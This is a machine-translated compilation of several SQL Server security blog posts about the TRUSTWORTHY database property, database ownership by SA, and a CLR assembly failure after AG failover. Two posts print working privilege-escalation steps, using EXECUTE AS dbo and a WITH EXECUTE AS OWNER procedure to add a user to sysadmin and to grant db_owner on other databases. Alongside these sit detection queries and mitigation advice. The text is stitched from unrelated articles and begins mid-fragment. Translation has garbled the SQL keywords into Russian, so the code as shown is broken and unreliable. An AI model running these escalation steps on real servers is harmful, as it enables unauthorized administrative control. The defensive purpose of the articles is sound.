  ИЗМЕНИТЬ СБОРКУ [MyAssembly] С PERMISSION_SET = UNSAFE;
  

Или вы могли бы включить WITH PERMISSION_SET = UNSAFE в конце команды CREATE ASSEMBLY .

SQL Server — понимание рисков, связанных с использованием базы данных TRUSTWORTHY Property

Время чтения: 6 минут

Привет, ребята!
В другой статье о безопасности, которая является темой моего выступления на MVPConf LATAM 2019, я поделюсь с вами рисками свойства TRUSTWORTHY базы данных SQL Server, которое широко используется в средах, использующих библиотеки SQLCLR уровня разрешений EXTERNAL_ACCESS или UNRESTRICTED. .

Если у вас есть библиотека SQLCLR и из-за этого включено свойство Trustworthy, имейте в виду, что есть другие способы использования ваших библиотек CLR без включения этого свойства, а именно с помощью сертификатов и подписи сборки в SQL Server. . Скоро я напишу об этом статью.

Чтобы определить базы данных в вашем экземпляре, для которых включено это свойство, используйте следующий запрос:

SELECT database_id, [name], owner_sid, state_desc, is_trustworthy_on
ОТ sys.базы данных
ГДЕ is_trustworthy_on = 1

в более сложном запросе мы уже можем установить связь со сборками SQLCLR и с пользователями, которые являются db_owner в этих базах данных:

IF (OBJECT_ID (‘tempdb.. # Bancos_Trustworthy ‘) НЕ ПУТЬ) ТАБЛИЦА ВЫПОЛНЕНИЯ #Bancos_Trustworthy
СОЗДАТЬ ТАБЛИЦУ #Bancos_Trustworthy
(
[database_id] INT,
[имя] NVARCHAR (128),
[owner_sid] VARBINARY (85),
[db_owner_member] NVARCHAR (128),
[state_desc] NVARCHAR (60),
[is_trustworthy_on] BIT,
[имя_сборки] NVARCHAR (128),
[permission_set_desc] NVARCHAR (60),
[create_date] DATETIME
)

ВСТАВИТЬ #Bancos_Trustworthy
EXEC sys.sp_MSforeachdb ‘
ВЫБРАТЬ
A.database_id,
Имя],
A.owner_sid,
С.имя члена,
A.state_desc,
A.is_trustworthy_on,
B. [имя] AS имя_сборки,
B.permission_set_desc,
B.create_date
ИЗ
[?]. sys.databases A
LEFT JOIN [?]. Sys.assemblies B ON B.is_user_defined = 1
ВНЕШНИЙ ПРИМЕНИТЬ (
ВЫБЕРИТЕ B. [имя] КАК имя_пользователя
ОТ [?]. Sys.database_role_members A
ПРИСОЕДИНЯЙТЕСЬ [?]. Sys.database_principals B ON A.member_principal_id = B.principal_id
ПРИСОЕДИНЯЙТЕСЬ [?]. Sys.database_principals C ON A.role_principal_id = C.principal_id
ГДЕ C.[имя] = » db_owner »
И C.is_fixed_role = 1
И B.principal_id> 4
) C
КУДА
A.is_trustworthy_on = 1
И А. [имя] = »? » ‘

ВЫБРАТЬ * ИЗ #Bancos_Trustworthy

Результат:

Для чего и в чем опасность TRUSTWORTHY = ON?

Свойство TRUSTWORTHY имеет свои преимущества, такие как возможность выполнять хранимые процедуры с внешним доступом к библиотекам SQLCLR, но оно выходит за рамки этого. Как подробно объяснил Луан Морено в своей статье «Зачем использовать параметр TRUSTWORTHY», это свойство, если оно включено, позволяет объекту, созданному с помощью EXECUTE AS (или даже специальной команды) в данной базе данных, получать доступ к данным из другой базы данных.

Поскольку операция EXECUTE AS требует очень высокого уровня надежности (узнайте о рисках EXECUTE AS, щелкнув здесь по этой ссылке), SQL Server блокирует этот тип выполнения, что разрешено только путем удаления предложения EXECUTE AS из этого объекта или включив свойство TRUSTWORTHY в базе данных, в которой создан объект.

Но каков риск включения свойства TRUSTWORTHY для базы данных? Именно эта надежность среди баз данных … rs

В моей среде существует следующий сценарий: Пользователь dirceu Dirceu_User является частью роли базы данных db_owner в банковской среде CLR, для которой включено свойство Trustworthy.Этот пользователь даже не создан в других базах данных и не имеет разрешений на уровне экземпляра.

Давайте посмотрим, что вы можете сделать в этом сценарии.

1 Попытка: хочу быть системным администратором!

Сразу же я попытаюсь воспользоваться преимуществами банка, чтобы включить свойство Trustworthy и сделать меня пользователем системного администратора. Это будет сделано с использованием пользователя dbo по умолчанию для выполнения необходимых мне команд:

SELECT
USER_NAME () AS [имя_пользователя],
ORIGINAL_LOGIN () КАК [исходный_логин],
ПОЛЬЗОВАТЕЛЬ КАК [пользователь],
SUSER_NAME () AS [suser_name],
SUSER_SNAME () AS [suser_sname],
SYSTEM_USER AS [system_user],
IS_SRVROLEMEMBER (‘системный администратор’) AS [souSysadmin?];
ИДТИ

ИСПОЛЬЗУЙТЕ [CLR]
ИДТИ

ВЫПОЛНИТЬ КАК ПОЛЬЗОВАТЕЛЬ = ‘dbo’
ИДТИ

ИЗМЕНИТЬ РОЛЬ СЕРВЕРА [системный администратор] ДОБАВИТЬ УЧАСТНИКА [Dirceu_User]
ИДТИ

ВОЗВРАЩАТЬСЯ
ИДТИ

ВЫБРАТЬ
USER_NAME () AS [имя_пользователя],
ORIGINAL_LOGIN () КАК [исходный_логин],
ПОЛЬЗОВАТЕЛЬ КАК [пользователь],
SUSER_NAME () AS [suser_name],
SUSER_SNAME () AS [suser_sname],
SYSTEM_USER AS [system_user],
IS_SRVROLEMEMBER (‘системный администратор’) AS [souSysadmin?];
GO

Результат выполнения: теперь я системный администратор!

Вы сразу понимаете, какой риск для нас несет эта собственность, верно? Представьте себе базу данных с включенным этим свойством, а пользователь любого приложения находится в роли db_owner.Простая инъекция SQL может заставить злоумышленника получить привилегию системного администратора на экземпляре, даже если пользователь приложения не является системным администратором. Чтобы узнать больше о SQL-инъекции, прочитайте мою статью SQL Server — Как избежать SQL-инъекции? Прекратите использовать динамический запрос в качестве EXEC (@Query). Теперь ..

2 Попытка: я хочу быть db_owner из других баз данных!

Во второй попытке я попытаюсь создать своего пользователя в другой базе данных и также указать себя как db_owner этой базы данных. Таким образом, злоумышленник может получить доступ к другим базам данных, существующим в экземпляре, а не только к базе данных, которую он смог взломать.

Мы попытаемся получить доступ к базе данных «dirceuresende», потому что я хочу прочитать данные, которые там есть:

Да, моего пользователя там не существует. Ну что ж, тогда давайте разберемся:

— Mostra meu usuário e comprova que não sou sysadmin
ВЫБРАТЬ
USER_NAME () AS [имя_пользователя],
ORIGINAL_LOGIN () КАК [исходный_логин],
ПОЛЬЗОВАТЕЛЬ КАК [пользователь],
SUSER_NAME () AS [suser_name],
SUSER_SNAME () AS [suser_sname],
SYSTEM_USER AS [system_user],
IS_SRVROLEMEMBER (‘sysadmin’) AS [souSysadmin?]

Теперь давайте обратимся к базе данных «dirceuresende» через EXECUTE AS:

— Banco que sou db_owner e Possui parâmetro Trustworthy habilitado
ИСПОЛЬЗУЙТЕ [CLR]
ИДТИ

— Mudo o context da execução para o usuário dbo (системный администратор по умолчанию)
ВЫПОЛНИТЬ КАК ПОЛЬЗОВАТЕЛЬ = ‘dbo’
ИДТИ

— Utilizando o usuário dbo, vou mudar o database da minha sessão para o «dirceuresende»
ИСПОЛЬЗУЙТЕ [dirceuresende]
ИДТИ

— Подтвердите доступ к базе данных «dirceuresende»
ВЫБЕРИТЕ DB_ID (), DB_NAME ()
GO

Теперь я перечислю владельцев db_owners в этой базе данных:

— Listo quem são os usuários сисадмин
ВЫБЕРИТЕ C.[имя] AS member_name
ОТ sys.database_role_members A
ПРИСОЕДИНЯЙТЕСЬ к sys.database_principals B ON A.role_principal_id = B.principal_id
ПРИСОЕДИНЯЙТЕСЬ к sys.database_principals C ON A.member_principal_id = C.principal_id
ГДЕ Б. [имя] = ‘db_owner’
И B.is_fixed_role = 1
GO

invasion », я использую контекст выполнения пользователя dbo, и с его помощью я могу создать своего пользователя в этой базе данных и добавить себя к роли базы данных db_owner:

— Crio meu usuário nesse database
СОЗДАТЬ ПОЛЬЗОВАТЕЛЯ [Dirceu_User] ДЛЯ ВХОДА [Dirceu_User]
ИДТИ

— Мне автоматически присваивается роль базы данных db_owner
ИЗМЕНИТЬ РОЛЬ [db_owner] ДОБАВИТЬ УЧАСТНИКА [Dirceu_User]
ИДТИ

— Выполняется для базы данных, выполняемой или выполняемой командой EXECUTE AS
— Сообщение 15199, уровень 16, состояние 1, строка 46
— Текущий контекст безопасности не может быть отменен.Переключитесь на исходную базу данных, в которой был вызван «Выполнить как», и попробуйте еще раз.
ИСПОЛЬЗУЙТЕ [CLR]
ИДТИ

— Volto o context de execução para o usuário Dirceu_User
ВОЗВРАЩАТЬСЯ
GO

Теперь мой пользователь является владельцем db_ 🙂 из базы данных «dirceuresende». Не верю? Я докажу.

— Mostra meu usuário e comprova que não sou sysadmin
ВЫБРАТЬ
USER_NAME () AS [имя_пользователя],
ORIGINAL_LOGIN () КАК [исходный_логин],
ПОЛЬЗОВАТЕЛЬ КАК [пользователь],
SUSER_NAME () AS [suser_name],
SUSER_SNAME () AS [suser_sname],
SYSTEM_USER AS [system_user],
IS_SRVROLEMEMBER (‘системный администратор’) AS [souSysadmin?];
ИДТИ

— База данных Agora consigo acessar esse 🙂
ИСПОЛЬЗУЙТЕ [dirceuresende]
ИДТИ

— Подтвердите доступ к базе данных «dirceuresende»
ВЫБЕРИТЕ DB_ID (), DB_NAME ()
ИДТИ

— Новый список, который используется в базе данных db_owner desse.Sou db_owner 🙂
ВЫБЕРИТЕ C. [имя] КАК имя_пользователя
ОТ sys.database_role_members A
ПРИСОЕДИНЯЙТЕСЬ к sys.database_principals B ON A.role_principal_id = B.principal_id
ПРИСОЕДИНЯЙТЕСЬ к sys.database_principals C ON A.member_principal_id = C.principal_id
ГДЕ Б. [имя] = ‘db_owner’
И B.is_fixed_role = 1
GO

Конечный результат моей атаки:

Хорошо, ребята, с этими двумя типами атак, показанными выше , Я думаю, что смог выявить некоторые риски безопасности при использовании этого свойства в производственных средах, особенно в базах данных, которые используются приложениями и подвержены атакам, таким как SQL Injection, и у злоумышленника будет гораздо больше инструментов для использования с этим включенным банком собственность, на которую он нападает.

Примечательно, что это свойство имеет свои преимущества, да, как я прокомментировал в начале поста, но должно быть активировано с большой осторожностью и вниманием к окружающей среде. Эти примеры, которые я показал, — это лишь некоторые из них, но они могут быть применены в различных типах атак, используя нарушение безопасности, вызванное свойством Trustworthy.

Если у вас есть библиотека SQLCLR и из-за этого вы включили свойство Trustworthy, имейте в виду, что есть другие способы использования ваших библиотек CLR без включения этого свойства, а именно с помощью сертификатов и подписания сборки в SQL. Сервер.Скоро я напишу об этом статью. Подождите ..

И чтобы вас успокоить, знайте, что только пользователи с ролью sysadmin могут изменять свойство TRUSTWORTHY базы данных. Даже владелец БД или пользователи с ролью db_owner не могут изменить это свойство.

Артикулы:

Вот и все, ребята!
Надеюсь, вам понравилась эта статья, и вы начнете более серьезно относиться к безопасности своей среды. Если вы обеспокоены безопасностью своей среды и хотите получить совет специалиста в данной области, запросите БЕСПЛАТНУЮ проверку базы данных + анализ безопасности: вам это нужно ?.

Крепко обнимаю и до новых встреч!

Размышления о безопасности SQL Server — Часть 2

Эта статья является второй из трех статей, посвященных конкретной комбинации конфигурации безопасности и безопасности базы данных.

В моей предыдущей статье я представил сценарий, в котором мы смогли скомпрометировать данные в базе данных SQL Server.

Хочу отметить, что знание этой конфигурации конфигурации критично. В этой статье я собираюсь предоставить дополнительную информацию и причины важности этой проблемы.

Давайте проверим общие сведения, начиная с хорошо известной проблемы: владение базой данных.

Какие данные для входа должен использовать владелец вашей базы данных? Многие говорят, что SA — правильный выбор.

Я быстро поискал в Google и нашел следующие ответы:

«Я не помню, чтобы это меня когда-либо беспокоило. Помимо раздражающего вида в отчетах или невозможности удалить пользователя, если он владеет базой данных, но я не думаю, что это влияет на работу сервера.Вы можете просто выбрать са для последовательности ».

«Я не думаю, что владение базой данных SA или любого другого пользователя должно вызывать какие-либо опасения. Важно то, кто что выполняет в вашей базе данных. Таким образом, рекомендуется создавать пользователей с действующими привилегиями. Для простоты вы можете указать владельца как SA ».

Я нашел блог, в котором даже говорится, что это лучшая практика (я намеренно вычеркнул части, с которыми не согласен):

«Согласно рекомендациям по обеспечению безопасности SQL Server, мы должны предоставлять данные для входа с наименьшим количеством привилегий.Поэтому рекомендуется установить встроенную учетную запись sa в качестве владельца всех баз данных на экземпляре SQL Server. Это сделает базу данных и сервер более безопасными ».

Это сообщение в блоге интересно, потому что я проверил «документ с рекомендациями по безопасности SQL Server», и в нем говорится:

– Лучшие практики владения базами данных и доверия

• Если вы интернет-провайдер, то у вас есть разные владельцы баз данных; не все базы данных должны принадлежать sa .”

Что ж, документация явно ссылается на сценарии ISP, я признаю это, но все же я не нашел в документации утверждения, что выбор SA в качестве владельца базы данных был бы лучшей практикой или даже справедливым.

Широко известный бесплатный сценарий sp_Blitz также помещает каждую базу данных в свой набор результатов с приоритетом 200, где SA не является владельцем (владелец базы данных <> SA), и, делая это, я чувствую, что сценарий поощряет людей с менее техническими навыками, такие как случайные администраторы баз данных, чтобы придерживаться этой практики.Если вы проверите соответствующую ссылку поиска, там написано:

Большинство магазинов в конечном итоге используют SA в качестве владельца, потому что это самый простой способ избежать проблем с правом собственности, когда имя владельца больше не существует. Это не лучший способ, но краткого ответа на него нет.

Хорошо, это точно НЕ лучшая практика! Я хотел бы присоединиться к Андреасу Вольтеру (страница sp_Blitz также относится к этой странице в разделе «Устранение проблемы в долгосрочной перспективе») и подчеркиваю, что использование учетной записи SA в качестве владельца базы данных на самом деле ХУЖЕ, и лично я думаю, что это должно быть выделено в каждом блоге и в каждой документации, относящейся к этой теме.

Я знаю, что если бы пользователи создавались только с действующими привилегиями, этого было бы достаточно, но, к сожалению, это не так, как обычно, и в случае вопросов безопасности нет «IF». Я имею в виду хороший образ мышления. Вы должны быть готовы к «возможным худшим» сценариям.

Только подумайте, что мы могли бы сделать в нашем примере, если бы владельцем базы данных по умолчанию был SA!

Давайте перейдем ко второму варианту — ДОВЕРИТЕЛЬНОЙ базе данных. К счастью, в случае с этим ситуация немного лучше, но все же есть общая проблема с его обработкой.

Всем известно, что передовой практикой здесь является следующее: установите для свойства базы данных «Надежность» значение «Выкл.».

Мы только что увидели, почему этот вариант «плохой», но это еще не все. Вот почему меня до сих пор беспокоит этот вариант.

Если вы попытаетесь найти сценарии, которые проверяют это свойство, вы, вероятно, найдете сценарий, похожий на этот:

 ВЫБЕРИТЕ имя ИЗ sys.databases, ГДЕ is_trustworthy_on = 1 И имя! = 'Msdb' 

sp_Blitz также имеет проверку, которая проверяет настройки баз данных по умолчанию (включая TRUSTWORTHY как значение по умолчанию 0) и сообщает о каждой базе данных, которая имеет нестандартные настройки, но сценарий пропускает системные базы данных.

Кроме того, есть статья в базе знаний MS, посвященная этой теме.

См. Следующие рекомендации по использованию параметров базы данных TRUSTWORTHY в SQL Server: https://support.microsoft.com/en-us/kb/2183687

В статье есть пример кода, в котором перечислены базы данных, для которых установлен бит TRUSTWORTHY и чей владелец базы данных принадлежит роли сервера sysadmin:

 ВЫБЕРИТЕ ИМЯ_ПОЛЬЗОВАТЕЛЯ (идентификатор_владельца) КАК DBOWNER, имя-файла КАК ИМЯ БАЗЫ ДАННЫХ
ОТ sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
ВНУТРЕННЕЕ СОЕДИНЕНИЕ sys.server_principals p ON
p.principal_id = m.member_principal_id
внутреннее соединение sys.databases d на suser_sname (d.owner_sid) = p.name
ГДЕ is_trustworthy_on = 1 И d.name НЕ В ('MSDB') и r.type = 'R' и r.name = N'sysadmin '
 

Что общего в этих скриптах? Каждый сценарий исключает MSDB, но, как отмечается в статье MS KB, вы только что видели это в нашей «миссии»:

Примечание По умолчанию параметр TRUSTWORTHY установлен на ON для базы данных MSDB .Изменение этого параметра по умолчанию может привести к неожиданному поведению компонентов SQL Server, использующих базу данных MSDB.

Я хотел бы подчеркнуть, что основное внимание в этой статье уделяется не параметру базы данных TRUSTWORTHY и не самому свойству владельца базы данных, а комбинации этих двух параметров. Я в основном сосредоточился на MSDB из-за того, что для параметр TRUSTWORTHY по умолчанию установлен на ON для базы данных MSDB.

На этом пока все.Мы просмотрели и проверили два важных параметра базы данных: владельца базы данных и параметр базы данных TRUSTWORTHY. Я просто хотел привлечь внимание к этим вариантам, поскольку, как вы видели, они являются очень важными вариантами, особенно когда мы говорим о сочетании этих двух вариантов.

Надеюсь, вам понравилась статья. В своих дальнейших публикациях я предоставлю исчерпывающие сценарии, которые помогут вам определить возможные риски для ваших SQL-серверов: пользователей, которые могут воспользоваться преимуществами этих опций, и базы данных, которые могут быть целью или источником такой атаки.

Инженер по обслуживанию SQL Server в IT Services Hungary, член T-Systems; MCITP: администратор базы данных 2008; бывший MCT

Последние сообщения Роберта Вирага (все)

Сбой сборки CLR после аварийного переключения AG

(Загадочный случай… раньше был частью нашего информационного бюллетеня раз в две недели, но мы решили вместо этого сделать его обычным постом в блоге, чтобы он мог иногда быть более частым. Он охватывает кое-что интересное, с которым один из нас столкнулся при работе с клиент, проводивший некоторое тестирование, или были заданы случайным вопросом от сообщества.)

Джонатан недавно работал с клиентом, у которого произошел сбой сборки CLR после отработки отказа AG, и ему нужно было выяснить причину. Они тестировали свою стратегию аварийного восстановления AG и столкнулись с неожиданной проблемой со своим приложением, которое сильно зависит от SQLCLR и сборки UNSAFE, которая вызывает веб-службу изнутри SQL Server. Когда они отказались передать свою группу доступности на свой сервер аварийного восстановления, сборка CLR завершилась ошибкой со следующей ошибкой:

Ошибка в Microsoft.NET Framework при попытке загрузить сборку с идентификатором 65546. Возможно, на сервере не хватает ресурсов или сборке нельзя доверять с помощью PERMISSION_SET = EXTERNAL_ACCESS или UNSAFE. Выполните запрос еще раз или посмотрите документацию, чтобы узнать, как решить проблемы с доверием сборки. Дополнительные сведения об этой ошибке: System.IO.FileLoadException: не удалось загрузить файл или сборку sqlclr_assemblyname, Version = 1.0.0.0, Culture = нейтральный, PublicKeyToken = fa39443c11b12591 или одну из ее зависимостей. Исключение из HRESULT: 0x80FC80F1

Чтобы попытаться обойти эту ошибку, они выполнили команду ALTER DATABASE SET TRUSTWORTHY ON , чтобы включить бит надежности на сервере DR.Затем они попробовали выполнить действия, описанные в статье 918040 базы знаний, и сменили владельца базы данных для базы данных на сервере аварийного восстановления, после чего их сборка CLR начала работать.

Ну, по крайней мере, это работало, пока они не попытались переключиться на исходную первичную реплику, и у них снова начались проблемы с их сборкой CLR.

Почему это так, особенно если изначально он работал на первичной реплике до аварийного восстановления после аварийного восстановления?

Это связано с идентификаторами безопасности входа в SQL Server и разрешениями на уровне сервера.Владелец базы данных отображается внутри базы данных с помощью SID входа в систему на сервере. Если SID владельца внутри базы данных не совпадает с SID основного сервера на сервере, владелец не может быть установлен. Идентификатор безопасности dbo внутри базы данных реплицируется как часть группы доступности, а логин на сервере — нет. Кроме того, объекты в области сервера, такие как асимметричный ключ, используемый для подписи сборки CLR, поддерживаются в master , как и логин, связанный с этим ключом, и связанное с ним разрешение EXTERNAL_ACCESS или UNSAFE ASSEMBLY .Поэтому, чтобы исправить эту проблему и избавиться от установки бита TRUSTWORTHY ON для базы данных, им пришлось сделать следующие шаги:

1. Создайте асимметричный ключ из библиотеки DLL сборки на сервере аварийного восстановления.
2. Измените владельца базы данных, чтобы он соответствовал SID на обоих серверах в sys.server_principals (сценарий входа в систему dbo с использованием sp_help_revlogin для передачи с неповрежденным SID на оба сервера)
3. Создайте логин из асимметричного ключа на сервере аварийного восстановления и предоставьте UNSAFE ASSEMBLY для соответствия первичной реплике
4. ALTER DATABASE SET TRUSTWORTHY OFF
5. Переход для тестирования между обоими сайтами

Итог: * всегда * полезно регулярно тестировать свою стратегию аварийного переключения, поскольку никогда не знаешь, что выйдет из строя, когда вы это сделаете! Престижность этому клиенту за это.

Как сделать себя SYSADMIN на Microsoft SQL Server | Новости

10 окт. Как сделать себя SYSADMIN на Microsoft SQL Server (эксплойт)

В базах данных Microsoft SQL Server определены некоторые фиксированные роли на уровне сервера, обеспечивающие определенный уровень доступа и функциональности. Роль с наибольшим доступом и функциональностью — это роль SYSADMIN. Эта роль предоставляется только привилегированным пользователям или администраторам в компании.

Эдди Ван Хеге , один из наших опытных администраторов баз данных Microsoft SQL, обнаружил небольшой эксплойт , однако . С помощью этого эксплойта каждый пользователь может предоставить себе роль SYSADMIN (или другие роли), если выполнены несколько определенных критериев:

1. Опция базы данных TRUSTWORTHY должна быть включена. Этот параметр указывает, доверяют ли экземпляры Microsoft SQL базе данных и ее содержимому.
2. Владелец базы данных имеет роль сервера SYSADMIN или SERVERADMIN или SECURITYADMIN .
3. Пользователь, который хочет использовать этот «эксплойт», имеет права database_owner внутри базы данных или права ddl_admin с предоставленными правами олицетворения.

Когда все критерии соблюдены, пользователь может получить роль SYSADMIN, предоставленную после создания и выполнения следующей хранимой процедуры (myHackingUser — это учетная запись пользователя, которой должна быть предоставлена ​​роль SYSADMIN вне курса):

 ИСПОЛЬЗУЙТЕ myDBWithTrustworthySetOn
ИДТИ
СОЗДАТЬ ПРОЦЕДУРУ sp_MakeMeSysadmin
С ИСПОЛНИТЬ В КАЧЕСТВЕ ВЛАДЕЛЬЦА
В КАЧЕСТВЕ
EXEC sp_addsrvrolemember 'myHackingUser', 'sysadmin'
ИДТИ

- выполнить новую процедуру с любым пользователем, имеющим права на выполнение в базе данных
EXEC sp_ sp_MakeMeSysadmin 

Как избежать возможных эксплойтов?

Чтобы определить, уязвима ли одна из ваших баз данных Microsoft SQL для этого эксплойта, можно выполнить следующий оператор:

 ЕСЛИ СУЩЕСТВУЕТ (выберите 1 ИЗ sys.server_principals r
ВНУТРЕННЕЕ СОЕДИНЕНИЕ sys.server_role_members m
ВКЛ r.principal_id = m.role_principal_id
ВНУТРЕННЕЕ СОЕДИНЕНИЕ sys.server_principals p
ВКЛ p.principal_id = m.member_principal_id
ВНУТРЕННЕЕ СОЕДИНЕНИЕ sys.databases d
ON SUSER_SNAME (d.owner_sid) = p.name
ГДЕ is_trustworthy_on = 1
И d.name НЕ В ('msdb')
И r.type = 'R'
И (r.name = N'sysadmin 'или r.name = N'serveradmin' или r.name = N'securityadmin ')
)
НАЧИНАТЬ
ВЫБЕРИТЕ SUSER_SNAME (owner_sid) КАК DBOWNER,
d.имя КАК DATABASENAME
ОТ sys.server_principals r
ВНУТРЕННЕЕ СОЕДИНЕНИЕ sys.server_role_members m
ВКЛ r.principal_id = m.role_principal_id
ВНУТРЕННЕЕ СОЕДИНЕНИЕ sys.server_principals p
ВКЛ p.principal_id = m.member_principal_id
ВНУТРЕННЕЕ СОЕДИНЕНИЕ sys.databases d
ON SUSER_SNAME (d.owner_sid) = p.name
ГДЕ is_trustworthy_on = 1
И d.name НЕ В ('msdb')
И r.type = 'R'
И (r.name = N'sysadmin 'или r.name = N'serveradmin' или r.name = N'securityadmin ')
КОНЕЦ 

Теперь решить:

1. В случае, если одна или несколько баз данных уязвимы, вы должны спросить себя, действительно ли для этих баз данных должна быть включена опция TRUSTWORTHY или нет? Если в этом нет необходимости, просто отключите эту опцию (ВЫКЛ.
   

   No related posts.